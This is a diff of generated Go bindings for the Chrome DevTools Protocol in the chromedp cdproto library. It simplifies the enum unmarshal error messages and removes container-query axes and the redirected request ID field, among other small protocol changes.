@@ -395,7 +390,7 @@ func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PausedReasonXHR
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PausedReason value: %v", v))
|
||||
in.AddError(errors.New("unknown PausedReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -432,15 +427,14 @@ func (t ContinueToLocationTargetCallFrames) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContinueToLocationTargetCallFrames) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ContinueToLocationTargetCallFrames(v) {
|
||||
switch ContinueToLocationTargetCallFrames(in.String()) {
|
||||
case ContinueToLocationTargetCallFramesAny:
|
||||
*t = ContinueToLocationTargetCallFramesAny
|
||||
case ContinueToLocationTargetCallFramesCurrent:
|
||||
*t = ContinueToLocationTargetCallFramesCurrent
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ContinueToLocationTargetCallFrames value: %v", v))
|
||||
in.AddError(errors.New("unknown ContinueToLocationTargetCallFrames value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -477,13 +471,12 @@ func (t RestartFrameMode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RestartFrameMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch RestartFrameMode(v) {
|
||||
switch RestartFrameMode(in.String()) {
|
||||
case RestartFrameModeStepInto:
|
||||
*t = RestartFrameModeStepInto
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown RestartFrameMode value: %v", v))
|
||||
in.AddError(errors.New("unknown RestartFrameMode value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -520,15 +513,14 @@ func (t SetInstrumentationBreakpointInstrumentation) MarshalJSON() ([]byte, erro
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetInstrumentationBreakpointInstrumentation(v) {
|
||||
switch SetInstrumentationBreakpointInstrumentation(in.String()) {
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptExecution
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetInstrumentationBreakpointInstrumentation value: %v", v))
|
||||
in.AddError(errors.New("unknown SetInstrumentationBreakpointInstrumentation value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -550,7 +542,6 @@ func (t ExceptionsState) String() string {
|
||||
// ExceptionsState values.
|
||||
const (
|
||||
ExceptionsStateNone ExceptionsState = "none"
|
||||
ExceptionsStateCaught ExceptionsState = "caught"
|
||||
ExceptionsStateUncaught ExceptionsState = "uncaught"
|
||||
ExceptionsStateAll ExceptionsState = "all"
|
||||
)
|
||||
@@ -567,19 +558,16 @@ func (t ExceptionsState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ExceptionsState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ExceptionsState(v) {
|
||||
switch ExceptionsState(in.String()) {
|
||||
case ExceptionsStateNone:
|
||||
*t = ExceptionsStateNone
|
||||
case ExceptionsStateCaught:
|
||||
*t = ExceptionsStateCaught
|
||||
case ExceptionsStateUncaught:
|
||||
*t = ExceptionsStateUncaught
|
||||
case ExceptionsStateAll:
|
||||
*t = ExceptionsStateAll
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ExceptionsState value: %v", v))
|
||||
in.AddError(errors.New("unknown ExceptionsState value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -620,8 +608,7 @@ func (t SetScriptSourceStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetScriptSourceStatus(v) {
|
||||
switch SetScriptSourceStatus(in.String()) {
|
||||
case SetScriptSourceStatusOk:
|
||||
*t = SetScriptSourceStatusOk
|
||||
case SetScriptSourceStatusCompileError:
|
||||
@@ -632,7 +619,7 @@ func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetScriptSourceStatusBlockedByActiveFunction
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetScriptSourceStatus value: %v", v))
|
||||
in.AddError(errors.New("unknown SetScriptSourceStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+10
-24
@@ -1746,21 +1746,19 @@ func (p *GetFrameOwnerParams) Do(ctx context.Context) (backendNodeID cdp.Backend
|
||||
return res.BackendNodeID, res.NodeID, nil
|
||||
}
|
||||
|
||||
// GetContainerForNodeParams returns the query container of the given node
|
||||
// based on container query conditions: containerName, physical, and logical
|
||||
// axes. If no axes are provided, the style container is returned, which is the
|
||||
// direct parent or the closest element with a matching container-name.
|
||||
// GetContainerForNodeParams returns the container of the given node based on
|
||||
// container query conditions. If containerName is given, it will find the
|
||||
// nearest container with a matching name; otherwise it will find the nearest
|
||||
// container regardless of its container name.
|
||||
type GetContainerForNodeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId"`
|
||||
ContainerName string `json:"containerName,omitempty"`
|
||||
PhysicalAxes PhysicalAxes `json:"physicalAxes,omitempty"`
|
||||
LogicalAxes LogicalAxes `json:"logicalAxes,omitempty"`
|
||||
NodeID cdp.NodeID `json:"nodeId"`
|
||||
ContainerName string `json:"containerName,omitempty"`
|
||||
}
|
||||
|
||||
// GetContainerForNode returns the query container of the given node based on
|
||||
// container query conditions: containerName, physical, and logical axes. If no
|
||||
// axes are provided, the style container is returned, which is the direct
|
||||
// parent or the closest element with a matching container-name.
|
||||
// GetContainerForNode returns the container of the given node based on
|
||||
// container query conditions. If containerName is given, it will find the
|
||||
// nearest container with a matching name; otherwise it will find the nearest
|
||||
// container regardless of its container name.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-getContainerForNode
|
||||
//
|
||||
@@ -1779,18 +1777,6 @@ func (p GetContainerForNodeParams) WithContainerName(containerName string) *GetC
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithPhysicalAxes [no description].
|
||||
func (p GetContainerForNodeParams) WithPhysicalAxes(physicalAxes PhysicalAxes) *GetContainerForNodeParams {
|
||||
p.PhysicalAxes = physicalAxes
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithLogicalAxes [no description].
|
||||
func (p GetContainerForNodeParams) WithLogicalAxes(logicalAxes LogicalAxes) *GetContainerForNodeParams {
|
||||
p.LogicalAxes = logicalAxes
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetContainerForNodeReturns return values.
|
||||
type GetContainerForNodeReturns struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // The container node for the given node, or null if not found.
|
||||
|
||||
-14
@@ -4803,10 +4803,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDom59(in *jlexer.Lexer, out *
|
||||
(out.NodeID).UnmarshalEasyJSON(in)
|
||||
case "containerName":
|
||||
out.ContainerName = string(in.String())
|
||||
case "physicalAxes":
|
||||
(out.PhysicalAxes).UnmarshalEasyJSON(in)
|
||||
case "logicalAxes":
|
||||
(out.LogicalAxes).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -4831,16 +4827,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDom59(out *jwriter.Writer, in
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.ContainerName))
|
||||
}
|
||||
if in.PhysicalAxes != "" {
|
||||
const prefix string = ",\"physicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.PhysicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.LogicalAxes != "" {
|
||||
const prefix string = ",\"logicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.LogicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+3
-100
@@ -3,109 +3,13 @@ package dom
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// PhysicalAxes containerSelector physical axes.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-PhysicalAxes
|
||||
type PhysicalAxes string
|
||||
|
||||
// String returns the PhysicalAxes as string value.
|
||||
func (t PhysicalAxes) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PhysicalAxes values.
|
||||
const (
|
||||
PhysicalAxesHorizontal PhysicalAxes = "Horizontal"
|
||||
PhysicalAxesVertical PhysicalAxes = "Vertical"
|
||||
PhysicalAxesBoth PhysicalAxes = "Both"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PhysicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PhysicalAxes) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PhysicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PhysicalAxes(v) {
|
||||
case PhysicalAxesHorizontal:
|
||||
*t = PhysicalAxesHorizontal
|
||||
case PhysicalAxesVertical:
|
||||
*t = PhysicalAxesVertical
|
||||
case PhysicalAxesBoth:
|
||||
*t = PhysicalAxesBoth
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PhysicalAxes value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PhysicalAxes) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// LogicalAxes containerSelector logical axes.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#type-LogicalAxes
|
||||
type LogicalAxes string
|
||||
|
||||
// String returns the LogicalAxes as string value.
|
||||
func (t LogicalAxes) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// LogicalAxes values.
|
||||
const (
|
||||
LogicalAxesInline LogicalAxes = "Inline"
|
||||
LogicalAxesBlock LogicalAxes = "Block"
|
||||
LogicalAxesBoth LogicalAxes = "Both"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t LogicalAxes) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t LogicalAxes) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *LogicalAxes) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch LogicalAxes(v) {
|
||||
case LogicalAxesInline:
|
||||
*t = LogicalAxesInline
|
||||
case LogicalAxesBlock:
|
||||
*t = LogicalAxesBlock
|
||||
case LogicalAxesBoth:
|
||||
*t = LogicalAxesBoth
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown LogicalAxes value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *LogicalAxes) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Quad an array of quad vertices, x immediately followed by y for each
|
||||
// point, points clock-wise.
|
||||
//
|
||||
@@ -181,15 +85,14 @@ func (t EnableIncludeWhitespace) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *EnableIncludeWhitespace) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch EnableIncludeWhitespace(v) {
|
||||
switch EnableIncludeWhitespace(in.String()) {
|
||||
case EnableIncludeWhitespaceNone:
|
||||
*t = EnableIncludeWhitespaceNone
|
||||
case EnableIncludeWhitespaceAll:
|
||||
*t = EnableIncludeWhitespaceAll
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown EnableIncludeWhitespace value: %v", v))
|
||||
in.AddError(errors.New("unknown EnableIncludeWhitespace value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+5
-7
@@ -3,7 +3,7 @@ package domdebugger
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
@@ -41,8 +41,7 @@ func (t DOMBreakpointType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DOMBreakpointType(v) {
|
||||
switch DOMBreakpointType(in.String()) {
|
||||
case DOMBreakpointTypeSubtreeModified:
|
||||
*t = DOMBreakpointTypeSubtreeModified
|
||||
case DOMBreakpointTypeAttributeModified:
|
||||
@@ -51,7 +50,7 @@ func (t *DOMBreakpointType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DOMBreakpointTypeNodeRemoved
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DOMBreakpointType value: %v", v))
|
||||
in.AddError(errors.New("unknown DOMBreakpointType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,15 +87,14 @@ func (t CSPViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CSPViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CSPViolationType(v) {
|
||||
switch CSPViolationType(in.String()) {
|
||||
case CSPViolationTypeTrustedtypeSinkViolation:
|
||||
*t = CSPViolationTypeTrustedtypeSinkViolation
|
||||
case CSPViolationTypeTrustedtypePolicyViolation:
|
||||
*t = CSPViolationTypeTrustedtypePolicyViolation
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CSPViolationType value: %v", v))
|
||||
in.AddError(errors.New("unknown CSPViolationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+16
-19
@@ -3,7 +3,7 @@ package emulation
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -68,8 +68,7 @@ func (t VirtualTimePolicy) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch VirtualTimePolicy(v) {
|
||||
switch VirtualTimePolicy(in.String()) {
|
||||
case VirtualTimePolicyAdvance:
|
||||
*t = VirtualTimePolicyAdvance
|
||||
case VirtualTimePolicyPause:
|
||||
@@ -78,7 +77,7 @@ func (t *VirtualTimePolicy) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = VirtualTimePolicyPauseIfNetworkFetchesPending
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown VirtualTimePolicy value: %v", v))
|
||||
in.AddError(errors.New("unknown VirtualTimePolicy value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -126,6 +125,7 @@ func (t DisabledImageType) String() string {
|
||||
// DisabledImageType values.
|
||||
const (
|
||||
DisabledImageTypeAvif DisabledImageType = "avif"
|
||||
DisabledImageTypeJxl DisabledImageType = "jxl"
|
||||
DisabledImageTypeWebp DisabledImageType = "webp"
|
||||
)
|
||||
|
||||
@@ -141,15 +141,16 @@ func (t DisabledImageType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DisabledImageType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DisabledImageType(v) {
|
||||
switch DisabledImageType(in.String()) {
|
||||
case DisabledImageTypeAvif:
|
||||
*t = DisabledImageTypeAvif
|
||||
case DisabledImageTypeJxl:
|
||||
*t = DisabledImageTypeJxl
|
||||
case DisabledImageTypeWebp:
|
||||
*t = DisabledImageTypeWebp
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DisabledImageType value: %v", v))
|
||||
in.AddError(errors.New("unknown DisabledImageType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -188,8 +189,7 @@ func (t OrientationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch OrientationType(v) {
|
||||
switch OrientationType(in.String()) {
|
||||
case OrientationTypePortraitPrimary:
|
||||
*t = OrientationTypePortraitPrimary
|
||||
case OrientationTypePortraitSecondary:
|
||||
@@ -200,7 +200,7 @@ func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OrientationTypeLandscapeSecondary
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown OrientationType value: %v", v))
|
||||
in.AddError(errors.New("unknown OrientationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -238,15 +238,14 @@ func (t DisplayFeatureOrientation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DisplayFeatureOrientation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DisplayFeatureOrientation(v) {
|
||||
switch DisplayFeatureOrientation(in.String()) {
|
||||
case DisplayFeatureOrientationVertical:
|
||||
*t = DisplayFeatureOrientationVertical
|
||||
case DisplayFeatureOrientationHorizontal:
|
||||
*t = DisplayFeatureOrientationHorizontal
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DisplayFeatureOrientation value: %v", v))
|
||||
in.AddError(errors.New("unknown DisplayFeatureOrientation value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -284,15 +283,14 @@ func (t SetEmitTouchEventsForMouseConfiguration) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetEmitTouchEventsForMouseConfiguration) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetEmitTouchEventsForMouseConfiguration(v) {
|
||||
switch SetEmitTouchEventsForMouseConfiguration(in.String()) {
|
||||
case SetEmitTouchEventsForMouseConfigurationMobile:
|
||||
*t = SetEmitTouchEventsForMouseConfigurationMobile
|
||||
case SetEmitTouchEventsForMouseConfigurationDesktop:
|
||||
*t = SetEmitTouchEventsForMouseConfigurationDesktop
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetEmitTouchEventsForMouseConfiguration value: %v", v))
|
||||
in.AddError(errors.New("unknown SetEmitTouchEventsForMouseConfiguration value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -333,8 +331,7 @@ func (t SetEmulatedVisionDeficiencyType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetEmulatedVisionDeficiencyType(v) {
|
||||
switch SetEmulatedVisionDeficiencyType(in.String()) {
|
||||
case SetEmulatedVisionDeficiencyTypeNone:
|
||||
*t = SetEmulatedVisionDeficiencyTypeNone
|
||||
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
|
||||
@@ -349,7 +346,7 @@ func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetEmulatedVisionDeficiencyTypeTritanopia
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetEmulatedVisionDeficiencyType value: %v", v))
|
||||
in.AddError(errors.New("unknown SetEmulatedVisionDeficiencyType value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+1
-8
@@ -750,9 +750,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFetch8(in *jlexer.Lexer, out
|
||||
in.Delim(']')
|
||||
}
|
||||
case "networkId":
|
||||
out.NetworkID = network.RequestID(in.String())
|
||||
case "redirectedRequestId":
|
||||
out.RedirectedRequestID = RequestID(in.String())
|
||||
out.NetworkID = RequestID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -829,11 +827,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFetch8(out *jwriter.Writer, i
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.NetworkID))
|
||||
}
|
||||
if in.RedirectedRequestID != "" {
|
||||
const prefix string = ",\"redirectedRequestId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.RedirectedRequestID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+1
-2
@@ -24,8 +24,7 @@ type EventRequestPaused struct {
|
||||
ResponseStatusCode int64 `json:"responseStatusCode,omitempty"` // Response code if intercepted at response stage.
|
||||
ResponseStatusText string `json:"responseStatusText,omitempty"` // Response status text if intercepted at response stage.
|
||||
ResponseHeaders []*HeaderEntry `json:"responseHeaders,omitempty"` // Response headers if intercepted at the response stage.
|
||||
NetworkID network.RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
|
||||
RedirectedRequestID RequestID `json:"redirectedRequestId,omitempty"` // If the request is due to a redirect response from the server, the id of the request that has caused the redirect.
|
||||
NetworkID RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
|
||||
}
|
||||
|
||||
// EventAuthRequired issued when the domain is enabled with
|
||||
|
||||
+2
-4
@@ -165,7 +165,7 @@ type ContinueRequestParams struct {
|
||||
URL string `json:"url,omitempty"` // If set, the request url will be modified in a way that's not observable by page.
|
||||
Method string `json:"method,omitempty"` // If set, the request method is overridden.
|
||||
PostData string `json:"postData,omitempty"` // If set, overrides the post data in the request.
|
||||
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers. Note that the overrides do not extend to subsequent redirect hops, if a redirect happens. Another override may be applied to a different request produced by a redirect.
|
||||
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers.
|
||||
InterceptResponse bool `json:"interceptResponse,omitempty"` // If set, overrides response interception behavior for this request.
|
||||
}
|
||||
|
||||
@@ -202,9 +202,7 @@ func (p ContinueRequestParams) WithPostData(postData string) *ContinueRequestPar
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithHeaders if set, overrides the request headers. Note that the overrides
|
||||
// do not extend to subsequent redirect hops, if a redirect happens. Another
|
||||
// override may be applied to a different request produced by a redirect.
|
||||
// WithHeaders if set, overrides the request headers.
|
||||
func (p ContinueRequestParams) WithHeaders(headers []*HeaderEntry) *ContinueRequestParams {
|
||||
p.Headers = headers
|
||||
return &p
|
||||
|
||||
+7
-10
@@ -3,7 +3,7 @@ package fetch
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -51,15 +51,14 @@ func (t RequestStage) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RequestStage) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch RequestStage(v) {
|
||||
switch RequestStage(in.String()) {
|
||||
case RequestStageRequest:
|
||||
*t = RequestStageRequest
|
||||
case RequestStageResponse:
|
||||
*t = RequestStageResponse
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown RequestStage value: %v", v))
|
||||
in.AddError(errors.New("unknown RequestStage value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -132,15 +131,14 @@ func (t AuthChallengeSource) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AuthChallengeSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AuthChallengeSource(v) {
|
||||
switch AuthChallengeSource(in.String()) {
|
||||
case AuthChallengeSourceServer:
|
||||
*t = AuthChallengeSourceServer
|
||||
case AuthChallengeSourceProxy:
|
||||
*t = AuthChallengeSourceProxy
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AuthChallengeSource value: %v", v))
|
||||
in.AddError(errors.New("unknown AuthChallengeSource value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -181,8 +179,7 @@ func (t AuthChallengeResponseResponse) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AuthChallengeResponseResponse(v) {
|
||||
switch AuthChallengeResponseResponse(in.String()) {
|
||||
case AuthChallengeResponseResponseDefault:
|
||||
*t = AuthChallengeResponseResponseDefault
|
||||
case AuthChallengeResponseResponseCancelAuth:
|
||||
@@ -191,7 +188,7 @@ func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AuthChallengeResponseResponseProvideCredentials
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AuthChallengeResponseResponse value: %v", v))
|
||||
in.AddError(errors.New("unknown AuthChallengeResponseResponse value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Loaded 100 of 1252 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user